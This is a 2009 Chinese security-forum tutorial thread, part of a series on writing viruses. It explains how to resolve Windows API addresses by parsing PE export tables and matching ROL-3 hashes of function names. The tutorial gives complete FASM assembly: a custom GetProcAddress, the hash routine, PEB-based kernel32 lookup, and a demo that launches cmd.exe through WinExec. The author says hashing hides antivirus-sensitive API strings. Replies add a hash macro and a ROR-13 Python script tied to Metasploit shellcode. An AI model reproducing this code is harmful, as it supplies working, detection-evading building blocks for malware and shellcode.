首页
论坛
课程
招聘
[Anti Virus专题]1.2 - 3.hash扫描获得api函数地址
2009-4-13 23:34 31290

[Anti Virus专题]1.2 - 3.hash扫描获得api函数地址

2009-4-13 23:34
31290
4. hash扫描获得api函数地址

       
        今天这篇文章也是病毒编写中很重要的一篇文章,“hash扫描获得api函数地址”,通过它我们的病毒就可以在宿主程序中调用相应平台的库函数。呼,说白一点就是实现一个自己的GetProcAddress函数,然后通过上节课的所讲解的思路获得Kernel32基地址,然后来搜索api函数地址。

        这篇文章我分为2个栏目:

        1. 搜索获得api函数地址的实现。

        2. hash算法搜索获得api函数地址的实现。
       
        ;;;;写文章比写代码累多了, 希望辛劳的成果能使大家有所收获,也不枉我此套专题。。。。。。。

;-------------------------------------------------
       
        1. 搜索获得api函数地址的实现:

        Windows和之前的dos最大的一个特色就是采用了动态链接库, 这样我们省了很多的内存。我们可以想象一下如果我们的程序都采用静态库的话,那么我们的所有程序所占内存是相当庞大的,而

Windows采用了动态链接库(这样保证了物理内存仅有一份此动态链接库的copy),这些动态链接库分别提供给我们用户了各种各样的编程接口来实现相应的功能,当我们用户程序调用它时必须包含相应的

库文件、函数名称,这样我们的PE LOADER在加载时才会将相应的动态链接库加载我们的进程的内存空间(实际上windows是通过分页机制将这些DLL的物理内存地址指向我们程序虚拟空间的页表中,这样

我们共享的是同一物理内存)。

        那么我们上面介绍了,windows通过动态链接库提供给我们用户了各种各样的编程接口函数,那么一般的动态链接库的后缀是“.dll”,当然其他的后缀也可以,例如“.exe”, “.sys”,只不

过它们不常用罢了。因为加载器判断的不仅仅是文件后缀名,还有我们的文件结构。
       
        所以一般我们调用某个动态库的函数,我们必须增加这个动态库的导入表结构,这样我们的windows 加载器才会把这个动态库加载到我们的内存空间,并修正导入表结构的导入函数地址,以便

我们的程序能正常的调用函数。那么这个动态链接库是如何输出函数来供我们的用户程序调用呢?它实际上是采用输出表结构来描述本dll需要导出哪些函数来供其他的程序调用,这样其他的用户程序才

能正常的调用此动态链接库的输出函数。

        那么关键的点我们已经知道了,那就是动态链接库是采用输出表结构来描述导出函数。那么如果我们调用某动态链接库的输出函数,首先我们肯定是要查找到这些输出函数的地址?在那里查找

?我们肯定是在输出表结构。好明白这点后,我们来看输出表结构。

struct IMAGE_EXPORT_DIRECTORY
  Characteristics           dd      ?  ;未使用
  TimeDateStamp             dd      ?  ;文件生成时间
  MajorVersion              dw      ?  ;主版本号,一般为0
  MinorVersion              dw      ?  ;次版本号,一般为0
  nName                     dd      ?  ;模块的真实名称
  nBase                     dd      ?  ;基数, 加上序数就是函数地址数组的索引值
  NumberOfFunctions         dd      ?  ;AddressOfFunctions阵列的元素个数
  NumberOfNames             dd      ?  ;AddressOfNames阵列的元素个数
  AddressOfFunctions        dd      ?  ;指向函数地址数组
  AddressOfNames            dd      ?  ;函数名字的指针地址
  AddressOfNameOrdinals     dd      ?  ;指向输出序列号数组
ends
       

        为了更好的理解输出表结构,我们采用fasm编写一段自己定义输出表结构的dll代码。



	format PE GUI 4.0 DLL
	include 'win32ax.inc'
	entry	__DllEntry
	
.text

 ;++
 ;
 ; BOOL
 ;   DllMain(
 ;   IN HINSTANCE hDllHandle, 
 ;   IN DWORD     nReason,    
 ;   IN LPVOID    Reserved    
 ;   )
 ;
 ; Routine Description:
 ;
 ;    测试文件是否是PE文件格式。
 ;
 ; Arguments:
 ;
 ;    (esp)          - return address
 ;
 ;    Data   (esp+4) - hDllHandle
 ;	     (esp+8) - nReason
 ;	     (esp+12)- Reserved
 ;
 ; Return Value:
 ;
 ;    eax = TRUE, initialization succeeds; eax = FALSE, initialization fails。
 ;
 ;--

 __DllEntry:
 	xor	eax, eax
 	inc	eax			
 	ret	4*3



 __MyMessageBox:
	xor	eax, eax
	push	eax
	@pushsz	'Dll'
	@pushsz	'一个dll自定导出表结构例子'
	push	eax
	call	[MessageBox]
	ret
	
.idata

section	'.edata' export data    readable

 __IMAGE_EXPORT_DIRECTORY:
 	dd	0, 0, 0, rva szName, 0, 1, 1
 	dd	rva Address_Tab
 	dd 	rva FuncName_Tab
 	dd	rva Ordinals_Tab
 	

	;dll name
	szName	db 'Msg.dll', 0
	
	;
	
	Address_Tab:
		dd rva __MyMessageBox 	;取__MyMessageBox过程 rva地址
	
	FuncName_Tab:
		dd rva ($+4) 		; ($ + 4) ptr "MyMessageBox"
		db 'MyMessageBox', 0
	
	Ordinals_Tab:
		dw 0
	
	
.fixups


       

   ;++
        OK,以上这段代码是实现自己定义输出表结构来实现输出__MyMessageBox过程的动态链接库,我们可以测试下看我们定义的输出表结构是否成功。再写一段过程,代码如下,然后运行,看我们DLL

指定的输出函数过程是否正常运行。

        invoke        LoadLibrary, 'Msg.dll'
        invoke        GetProcAddress, eax, 'MyMessageBox'
        call        eax
        ret

        我们可以看到首先调用LoadLibray函数来将我们的Msg.dll加载到我们进程的内存空间中,获取Msg.dll加载后的内存地址后,调用GetProcAddress来获得MyMessageBox函数的地址。我们上节课

程已经学习了如何查找kernel32.dll的基地址,那么我们只要实现一个GetProcAddress函数就可以轻松的获取kernel32.dll中的函数地址了。好,接下来我们的重点放在如何实现GetProcAddress函数上



   ;--

        我们看刚刚上面我们自己定义输出表结构的动态链接库代码,看我定义输出表结构,我们来模拟下GetProcAddress的思路。
       
        举个例子:
       
        Ordinals_Tab:
                dw 0 ;索引 0
                dw 1 ;索引 1
        Address_Tab:
                rva __MyMessageBox  ;对应 索引 0
                rva __MyMessageBox2 ;对应 索引 1
        nBase = 0

        由于Ordinals_Tab 序号表中的序号值,对应的是Address_Tab的索引。

        那么我们搜索函数的时候,只需要获得对应函数的在“Ordinals_Tab中的序号值”,然后通过(序号值 + 索引基数)就可以在Address_Tab中进行索引查找,得到的就是对应函数的RVA地址。简单

说就是
        mov        eax, [Address_Tab + ((Ordinals_Tab中的序号值 + 索引基数)*4)]

        那么,如何取得对应函数的在“Ordinals_Tab中的序号值”?

        这里我们可以在循环匹配函数名称的时候,如果没有匹配成功则将Ordinals_Tab的地址+2   (+2是因为,Ordinals_Tab表中的成员是dw类型,每次+2则表示指向下一个函数的Ordinals)。如果一旦

匹配成功,则直接读取Ordinals_Tab地址中的序号值,然后乘以4, +Address_Tab来读取函数的RVA地址,了解了思路是不是很简单?

        那好,就让我们来实现代码考验下你是否到底明白了?
       
编写代码如下:

 ;++
 ;
 ; int
 ;  GetApi(
 ;   IN HINSTANCE hModule, 
 ;   IN char *    lpApiString,     
 ;   )
 ;
 ; Routine Description:
 ;
 ;    获取指定函数的内存地址
 ;
 ; Arguments:
 ;
 ;    (esp)          - return address
 ;
 ;    Data   (esp+4) - hDllHandle
 ;	     (esp+8) - lpApiString
 ; Return Value:
 ;
 ;    eax -> Function Mem Address。
 ;
 ;--

 GetApi:
	pop 	edx
	pop	eax			;hModule
	pop	ecx			;lpApiString
	push	edx	
	pushad
	mov	ebx, eax		;hModule	ebx
	mov	edi, ecx		;lpApiString	edi	
	xor	al, al
  .Scasb:
	scasb
	jnz	.Scasb
	dec	edi
	sub	edi, ecx
	xchg	edi, ecx		; edi = lpApiString, ecx = ApiLen
	
	mov	eax, [ebx+3ch]	
	mov	esi, [ebx+eax+78h]	;Get Export Rva
	lea	esi, [esi+ebx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
	lodsd
	xchg	eax, edx		; edx = NumberOfNames
	lodsd
	push	eax			; [esp] = AddressOfFunctions
	lodsd
	xchg	eax, ebp
	lodsd
	xchg	eax, ebp		; ebp = AddressOfNameOrdinals, eax = AddressOfNames
	add	eax, ebx
	
	mov	[esp+4*6], edi		;临时存储
	mov	[esp+4*5], ecx		;临时存储

  .LoopScas:	
	dec	edx
	jz	.Ret
	mov	esi, [eax+edx*4]
	add	esi, ebx
	repz	cmpsb
	jz	.GetAddr
	mov	edi, [esp+4*6]		
	mov	ecx, [esp+4*5]		
	jmp	.LoopScas
	
  .GetAddr:
  	shl	edx, 1
  	add	ebp, edx
	movzx	eax, word [ebp+ebx]
	shl	eax, 2
	add	eax, [esp]
	mov	eax, [ebx+eax]
	add	eax, ebx
  .Ret:
  	pop	ecx
  	mov	[esp+4*7], eax
	popad
	ret



分析:
        代码其余部分很好理解,我们重点来看这里。

.LoopScas:       
        dec        edx
        jz        .Ret
        mov        esi, [eax+edx*4]
        add        esi, ebx
        repz        cmpsb
        jz        .GetAddr
        mov        edi, [esp+4*6]               
        mov        ecx, [esp+4*5]               
        jmp        .LoopScas
       
  .GetAddr:
          shl        edx, 1
          add        ebp, edx
        movzx        eax, word [ebp+ebx]
        shl        eax, 2
        add        eax, [esp]
        mov        eax, [ebx+eax]
        add        eax, ebx

我们之前的思路说:

        在循环匹配的时候, 如果失败则将Ordinals_Tab的地址+2。但这里我们采用的是从后往前循环并通过NumberOfNames来作为索引来取AddressOfNames成员,所以我们就不能用Ordinals_Tab的地址

+2了(快点快点发挥你的想象力,自己实现个Ordinals_Tab的地址+2思路的函数)。

        不过我们循环的时候是取得NumberOfNames来作为循环条件,这个成员表示的是AddressOfNames的元素个数。所以我们循环匹配函数的时候通过NumberOfNames - 1,如果匹配成功的话此时的

[NumberOfNames*2], 将是Ordinals_Tab的索引值。

        然后我们通过 mov eax, [Ordinals_Tab + (索引值 *2)]来获得 AddressOfFunctions的索引值。然后通过 mov eax, [AddressOfFunctions + (索引值*4)]来获得函数地址。

        思路就是这样,我想大家目前更多的事情应该去思考。  o(∩_∩)o... 祝你好运!
       
;---------------------------------------------------------------------

2. hash算法搜索获得api函数地址的实现

        紧接着我们要讲解到的是hash算法搜索获得api函数地址。如上面的代码,我们一般要获得一个函数的地址,通常采用的是明文,例如定义一个api函数字符串"MessageBoxA",然后在

GetProcAddress函数中一个字节一个字节进行比较。这样弊端很多,例如如果我们定义一个杀毒软件比较敏感的api函数字符串,那么可能就会增加杀毒软件对我们的程序的判定值,而且定义这些字符串

还有一个弊端是占用的字节数较大。我们想想如何我们的api函数字符串通过算法将它定义成一个4字节的值,然后在GetProcAddress中把AddressOfNames表中的每个地址指向的api字符串通过我们的算法

压缩成4字节值后,与我们之前定义的4字节值进行判断,如果匹配成功则读取函数地址。
       

        废话就不多说,我们来看一种rol 3移位算法,这个算法是每次将目的地址循环向左移动3位,然后将低字节与源字符串的每个字节进行异或。算法很精巧方便。代码如下:

	
;++
 ;
 ; int
 ;   GetRolHash(  
 ;   IN char * lpApiString   
 ;   )
 ;
 ; Routine Description:
 ;
 ;    计算ApiString Hash值
 ;
 ; Arguments:
 ;
 ;    (esp)          - return address
 ;
 ;    Data   (esp+4) - lpApiString
 ;
 ; Return Value:
 ;
 ;    eax = Hash String
 ;
 ;--
 GetRolHash:
 	pop	ecx
 	pop	eax
 	push	ecx
 	push	esi
 	xor	edx, edx
 	xchg	eax, esi
 	cld
  .Next:
 	lodsb
 	test	al, al
 	jz	.Ret
 	rol	edx, 3
 	xor	dl, al
 	jmp	.Next
 	
  .Ret:
  	xchg	eax, edx
 	pop	esi
 	ret
 	

       

        还有很多方便小巧的算法,例如ROR 13等算法。我比较喜欢ROL 3, 所以推荐这个。那么我们接下来,我们来实现个匹配hash字符串的GetProcAddress,其实它和我们上面的基本一样,只不过它

将函数名表的字符串通过我们的算法过程获得hash值后与我们之前定义的hash值进行匹配,匹配成功则获得对应函数的地址。

        过程如下:
 ;++
 ;
 ; int
 ;  GetApi(
 ;   IN HINSTANCE hModule, 
 ;   IN int      iHashApi,     
 ;   )
 ;
 ; Routine Description:
 ;
 ;    获取指定函数的内存地址
 ;
 ; Arguments:
 ;
 ;    (esp)          - return address
 ;
 ;    Data   (esp+4) - hDllHandle
 ;	     (esp+8) - iHashApi
 ; Return Value:
 ;
 ;    eax -> Function Mem Address。
 ;
 ;--

 GetApi:
	pop 	edx
	pop	eax			;hModule
	pop	ecx			;lpApiString
	push	edx	
	pushad
	mov	ebx, eax		;hModule	ebx
	mov	edi, ecx		;iHashApi	edi	
	
	mov	eax, [ebx+3ch]	
	mov	esi, [ebx+eax+78h]	;Get Export Rva
	lea	esi, [esi+ebx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
	lodsd
	xchg	eax, edx		; edx = NumberOfNames
	lodsd
	push	eax			; [esp] = AddressOfFunctions
	lodsd
	xchg	eax, ebp
	lodsd
	xchg	eax, ebp		; ebp = AddressOfNameOrdinals, eax = AddressOfNames
	add	eax, ebx
	xchg	eax, esi		; esi = AddressOfNames
	
	
  .LoopScas:	
	dec	edx
	jz	.Ret
	lodsd
	add	eax, ebx
	
	push	edx
	
	;计算hash字符串
	push	eax
	call	GetRolHash
	
	pop	edx
	cmp	eax, edi
	jz	.GetAddr
	
	add	ebp, 2
	jmp	.LoopScas
	
  .GetAddr:
	movzx	eax, word [ebp+ebx]
	shl	eax, 2
	add	eax, [esp]
	mov	eax, [ebx+eax]
	add	eax, ebx
  .Ret:
  	pop	ecx
  	mov	[esp+4*7], eax
	popad
	ret



        OK,为了验证没有问题。我们来写一段简单的验证过程。。



	format PE GUI 4.0
	include 'win32ax.inc'
	entry	__Entry
	
.text

		
 __Entry:
 	call	GetKrnlBase3
 	
 	push	0016EF74Bh  ; Hash WinExec
 	push	eax
 	call	GetApi
 	
 	push	SW_SHOW
 	@pushsz	"cmd.exe"
 	call	eax
 	ret
 
 

 ;++
 ;
 ; int
 ;  GetApi(
 ;   IN HINSTANCE hModule, 
 ;   IN int      iHashApi,     
 ;   )
 ;
 ; Routine Description:
 ;
 ;    获取指定函数的内存地址
 ;
 ; Arguments:
 ;
 ;    (esp)          - return address
 ;
 ;    Data   (esp+4) - hDllHandle
 ;	     (esp+8) - iHashApi
 ; Return Value:
 ;
 ;    eax -> Function Mem Address。
 ;
 ;--

 GetApi:
	pop 	edx
	pop	eax			;hModule
	pop	ecx			;lpApiString
	push	edx	
	pushad
	mov	ebx, eax		;hModule	ebx
	mov	edi, ecx		;iHashApi	edi	
	
	mov	eax, [ebx+3ch]	
	mov	esi, [ebx+eax+78h]	;Get Export Rva
	lea	esi, [esi+ebx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
	lodsd
	xchg	eax, edx		; edx = NumberOfNames
	lodsd
	push	eax			; [esp] = AddressOfFunctions
	lodsd
	xchg	eax, ebp
	lodsd
	xchg	eax, ebp		; ebp = AddressOfNameOrdinals, eax = AddressOfNames
	add	eax, ebx
	xchg	eax, esi		; esi = AddressOfNames
	
	
  .LoopScas:	
	dec	edx
	jz	.Ret
	lodsd
	add	eax, ebx
	
	push	edx
	
	;计算hash字符串
	push	eax
	call	GetRolHash
	
	pop	edx
	cmp	eax, edi
	jz	.GetAddr
	
	add	ebp, 2
	jmp	.LoopScas
	
  .GetAddr:
	movzx	eax, word [ebp+ebx]
	shl	eax, 2
	add	eax, [esp]
	mov	eax, [ebx+eax]
	add	eax, ebx
  .Ret:
  	pop	ecx
  	mov	[esp+4*7], eax
	popad
	ret


 ;++
 ;
 ; int
 ;   GetKrnlBase3(
 ;    void
 ;   )
 ;
 ; Routine Description:
 ;
 ;    获得kernel32基地址
 ;
 ; Arguments:
 ;
 ;    (esp)          - return address
 ;
 ;
 ; Return Value:
 ;
 ;    eax =  krnl32 base
 ;
 ;--
 
 GetKrnlBase3:
 	mov	eax, [fs:30h]
 	mov	eax, [eax+0ch]
 	mov	eax, [eax+1ch]
 	mov	eax, [eax]
	mov	eax, [eax+8h]
	ret 	
 	
 	
 ;++
 ;
 ; int
 ;   GetRolHash(  
 ;   IN char * lpApiString   
 ;   )
 ;
 ; Routine Description:
 ;
 ;    计算ApiString Hash值
 ;
 ; Arguments:
 ;
 ;    (esp)          - return address
 ;
 ;    Data   (esp+4) - lpApiString
 ;
 ; Return Value:
 ;
 ;    eax = Hash String
 ;
 ;--
 GetRolHash:
 	pop	ecx
 	pop	eax
 	push	ecx
 	push	esi
 	xor	edx, edx
 	xchg	eax, esi
 	cld
  .Next:
 	lodsb
 	test	al, al
 	jz	.Ret
 	rol	edx, 3
 	xor	dl, al
 	jmp	.Next
 	
  .Ret:
  	xchg	eax, edx
 	pop	esi
 	ret
 	
 	

       

       
;运行后,程序运行一个cmd窗口,然后退出线程。。

例子:
push        0016EF74Bh  ; Hash WinExec
push        eax
call        GetApi

这段例子代码我采用直接压入对应的函数字符串的hash值(如 WinExec 0016EF74Bh),其实我们利用宏完全可以做到在预编译阶段进行hash计算,这个就留到下下节课来讲解吧,为了大家方便,给大家发

布一个Hash Api String计算器。

如下附件图。。

好了,今天这篇文章就到这里了。大家再见。。总算今天下午把这篇文章给赶出来了。已经快接近0点,大家接着观看吧。。

《0day安全 软件漏洞分析技术(第二版)》第三次再版印刷预售开始!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (55)
雪    币: 419
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
fixfix 活跃值 2009-4-13 23:37
2
0
先沙发,写得太好了
雪    币: 240
活跃值: 活跃值 (10)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
三根火柴 活跃值 4 2009-4-13 23:49
3
0
板凳,学习了!
雪    币: 201
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
不知所谓 活跃值 1 2009-4-14 00:02
4
0
我发个参考资料
标 题: 克图鲁的呼唤
作 者: forgot
时 间: 2006-10-28,19:17
链 接: http://bbs.pediy.com/showthread.php?t=33985
雪    币: 266
活跃值: 活跃值 (11)
能力值: ( LV9,RANK:220 )
在线值:
发帖
回帖
粉丝
xfish 活跃值 5 2009-4-14 00:09
5
0
支持下forgot大哥。

fasm预编译阶段进行hash计算,很简单。

macro RolHash poffset, [szFuncName]{
  local hash, len, char, temp
  virtual at 0
       db  szFuncName
       len = $
       hash = 0
       temp = 0
       repeat len
         hash = (((hash shl 3) and 0FFFFFFFFh) or (hash shr (32 - 3))); hash = hash rol 3
         load char byte from % - 1
         temp = ((hash and 000000FFh) xor char)
         hash = (hash and 0FFFFFF00h) or temp
       end repeat
  end virtual
    dd hash
  poffset dd 0
}

通过此宏配合我之前这个帖子http://bbs.pediy.com/showthread.php?t=83646的。可以整个以
                      dd hash string
_ApiName_Address  dd Adress
表形式建立api函数地址表,方便调用。。

这些无外乎技巧而已,故而放到
1.3 如何编写病毒代码?
    包括如何有效的优化病毒代码

中进行讲解。
雪    币: 97
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
xzchina 活跃值 1 2009-4-14 08:10
6
0
雪    币: 205
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
heroxing 活跃值 2009-4-14 09:21
7
0
认真学习中,收获不少,我会一直关注LZ的杰作,LZ辛苦了.
雪    币: 181
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
naspy 活跃值 2009-4-14 09:23
8
0
若若问一句:怎么看起来像字符串匹配丫... ...
雪    币: 202
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
sudaxx 活跃值 2009-4-14 10:09
9
0
要是是C写的,就好了...
雪    币: 265
活跃值: 活跃值 (29)
能力值: ( LV13,RANK:350 )
在线值:
发帖
回帖
粉丝
moonife 活跃值 8 2009-4-14 10:56
10
0
lz辛苦了,学习了,我一定要顶下去啊
雪    币: 108
活跃值: 活跃值 (46)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 活跃值 26 2009-4-14 11:38
11
0
楼主辛苦了,顶。
雪    币: 45
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:140 )
在线值:
发帖
回帖
粉丝
nkspark 活跃值 3 2009-4-14 12:00
12
0
先顶后看~~~~~
雪    币: 2362
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zapline 活跃值 2009-4-14 12:01
13
0
学习。。。支持。。。
要是能提供c/c++版的
就好学习多了
汇编看着还是有点晕
雪    币: 367
活跃值: 活跃值 (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
flowons 活跃值 2 2009-4-14 12:21
14
0
lz辛苦了,支持你!
雪    币: 79
活跃值: 活跃值 (46)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
frozenrain 活跃值 2009-4-14 13:48
15
0
学习 这种方法不错 我得去下个编译器跑跑看
雪    币: 133
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gaoqing 活跃值 2009-4-14 14:17
16
0
你的这个
IMAGE_EXPORT_DIRECTORY是通过
IMAGE_OPTIONAL_HEADER的
DataDirectory的前4个字节找到的吗?
雪    币: 205
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
heroxing 活跃值 2009-4-14 14:44
17
0
楼主:  .LoopScas:  
  dec  edx
  jz  .Ret
  lodsd
我觉得是不是要改为:  .LoopScas:  
  test edx,edx
  jz  .Ret
dec  edx
  lodsd好些,如果我们用自定义的输出表,表里只定义一个函数,那这个好象就不行了呀.我是菜鸟,不知道我说的对不对,望指正,谢谢楼主大哥.
雪    币: 266
活跃值: 活跃值 (11)
能力值: ( LV9,RANK:220 )
在线值:
发帖
回帖
粉丝
xfish 活跃值 5 2009-4-14 15:20
18
0
to Gaoqing:
恩。

to heroxing:
恩。正确的。其实这个如果要完善还要注意很多,例如定位export输出表偏移等,但是这将浪费大量的byte。

   在病毒编写中一般没有必要这么做,因为这些系统库文件格式都是很常规的, 我们一般的病毒代码仅仅是为了获得常用的库函数。例如获得LoadLibraryA以及GetPorcAddress就可以利用获得后的函数地址来进行调用了,所以就没有必要再去处理这些,一切为了优化。
雪    币: 413
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
孟贤 活跃值 2009-4-14 17:01
19
0
   支持~支持~
雪    币: 205
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
heroxing 活跃值 2009-4-14 17:27
20
0
谢谢楼主的回复,小弟受教了.
雪    币: 326
活跃值: 活跃值 (10)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
快雪时晴 活跃值 4 2009-4-14 18:34
21
0
非常希望能在最后附一个汇总了的本系列CHM,便于收藏学习
雪    币: 193
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cham 活跃值 2009-4-14 20:33
22
0
克鲁图的呼唤看着有点晕,宏没法用od看啊!
雪    币: 558
活跃值: 活跃值 (10)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
dge 活跃值 6 2009-4-14 21:23
23
0
good ...
雪    币: 360
活跃值: 活跃值 (15)
能力值: ( LV8,RANK:139 )
在线值:
发帖
回帖
粉丝
THREAD 活跃值 2009-4-14 21:24
24
0
不错
雪    币: 203
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gkend 活跃值 2009-4-15 21:10
25
0
这样hash会不会发生碰撞?有没有得到证明?MD5都已经证明会碰撞。
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
imaker 活跃值 2009-4-16 13:50
26
0
为了看懂楼主的代码,我正在学FASM.

楼主请继续,速度其次,保证质量.
雪    币: 324
活跃值: 活跃值 (16)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
likunkun 活跃值 1 2009-4-16 17:32
27
0
xfish是做什么工作的呀....,我很好奇
雪    币: 266
活跃值: 活跃值 (11)
能力值: ( LV9,RANK:220 )
在线值:
发帖
回帖
粉丝
xfish 活跃值 5 2009-4-16 21:14
28
0
例子太多了,国外的很多病毒木马用的正是我这篇文章的字符串hash。



呵呵。感谢支持,一定保质。



呵呵,每天昏天黑的劳动者——程序员。
雪    币: 202
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
starhust 活跃值 2009-4-22 12:17
29
0
渐渐明白了
当然顶一个
雪    币: 104
活跃值: 活跃值 (29)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
刘国华 活跃值 2009-4-26 19:45
30
0
好漂亮的代码风格……喜欢
雪    币: 101
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
一转身 活跃值 2009-4-29 21:54
31
0
膜拜.......
雪    币: 110
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
zyfnhct 活跃值 2009-5-7 19:22
32
0
辛苦了。先顶一下,下下来慢慢看
雪    币: 100
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
爱转角 活跃值 2009-5-8 07:55
33
0
多谢,学习```
雪    币: 111
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
JwLee 活跃值 2009-5-13 14:33
34
0
弱弱的问一下 @pushsz 这个宏的作用是什么?
雪    币: 30
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zephr 活跃值 2009-5-16 19:36
35
0
不错 谢谢啦
雪    币: 30
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zephr 活跃值 2009-5-23 21:36
36
0
看看 不错的说
雪    币: 133
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gaoqing 活跃值 2009-5-24 11:05
37
0
楼主啊,这里有错误啊
当用fasm编译
.text
时,报:illegal instruction啊
雪    币: 133
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gaoqing 活跃值 2009-5-24 11:15
38
0
好多错误啊
pushsz "dll"
都有错误
雪    币: 266
活跃值: 活跃值 (11)
能力值: ( LV9,RANK:220 )
在线值:
发帖
回帖
粉丝
xfish 活跃值 5 2009-5-24 14:55
39
0
@pushsz是我的一个宏,用于压入构造字符串地址。

call   @f
  db 'dll', 0
@@:

macro @pushsz argc{
       
  local .string
   forward       
    if ~ argc eq
    if argc eqtype ''
      call     .string   
        db             argc, 0
        .string:
      else
         push  argc
                 
      end if
   end if
        }
雪    币: 202
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
myabc 活跃值 2009-5-30 23:22
40
0
第一次在看雪发言!
   由于毕业论文的关系,和楼主做了同样的事情。用ror对字符串加密!不过我从metasploit上得到的相应汇编代码(http://metasploit.com/shellcode/windows/).该网页上,其他几个工具也是用相同的办法来加密函数名称的。希望楼主是这个方法的原始创始人,而且极为凑巧,您文章的也提到了用ror移动13次, 该网页上也是用这样的方式,源代码是"ror edi, 13"。期望国内多出这样的牛人吧!!!!!
   这里也用python代码演示下整个加密过程,只需要在恰当的位置打印出相应变量的值,就可以看见整个字符串的加密变化的过程。 过程不复杂,但因为移位操作会让数据变长,每加密一次,只取最后8个字,下面代码中的"temp[-9:-1]"的切片就是完成该动作。
------------------------------------------------------------------------------------------------
#!/usr/bin/python

import sys
number1=1
while 1:
    print '##-----------------------------------------------##'
    FuncName=raw_input('Input the Function name :')
    hashsum=0
    StringLen=len(FuncName)
    RunNum=0
    for i,ch in enumerate(FuncName):
    print '----------------------------------'
        a=ord(ch)
        hashsum=a+hashsum
        hashsumTemp=hashsum
        hashsum1=hashsum>>13
        hashsum2=hashsum<<19
        hashsum=hashsum1+hashsum2
        temp=hex(hashsum)
        if len(temp) > 10 :
            temp1=temp[-9:-1]
            temp2='0x'
            temp3=temp2+temp1
            hashsum=int(temp3,16)
        print 'This is the correct hash-pice:',hex(hashsum)
    print '----------------------------------'
    print
    fin=hex(hashsumTemp)
    print 'The Function-hash result is :',fin
    print '##-----------------------------------------------##'
    print '[1] Do Once Again'
    print '[2] Exit'
    number1=raw_input('Input the number to select :')
    if number1!='2':
        pass
    else:
        sys.exit()
------------------------------------------------------------------------------------------------
雪    币: 133
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gaoqing 活跃值 2009-5-31 23:47
41
0
老大啊,你的自已使用的fasm什么时候可以发上来啊,

只有用你的才能编译程序啊
雪    币: 133
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gaoqing 活跃值 2009-6-2 18:12
42
0
老大啊,你能不能发到我的邮箱中啊,
没有你的编译器,
我完全无法学习你的教程啊,

如果那样,你教程不白写了,哈哈

我的邮箱:chanchanyuan@163.com
雪    币: 116
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
bswdylwsw 活跃值 2009-6-11 11:42
43
0
都是有分量,的代码。。。崇拜。努力。继续努力,加油
雪    币: 42
活跃值: 活跃值 (29)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ZSYL 活跃值 2009-6-17 22:14
44
0
这个有点深了...
雪    币: 66
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
potal 活跃值 2009-6-18 01:29
45
0
这个方法好,学习了!
雪    币: 172
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wangshen 活跃值 2009-6-22 00:13
46
0
强..学习了..
雪    币: 234
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
siwen 活跃值 2009-6-26 15:24
47
0
花了很大的精力啊。赞LZ!
雪    币: 533
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
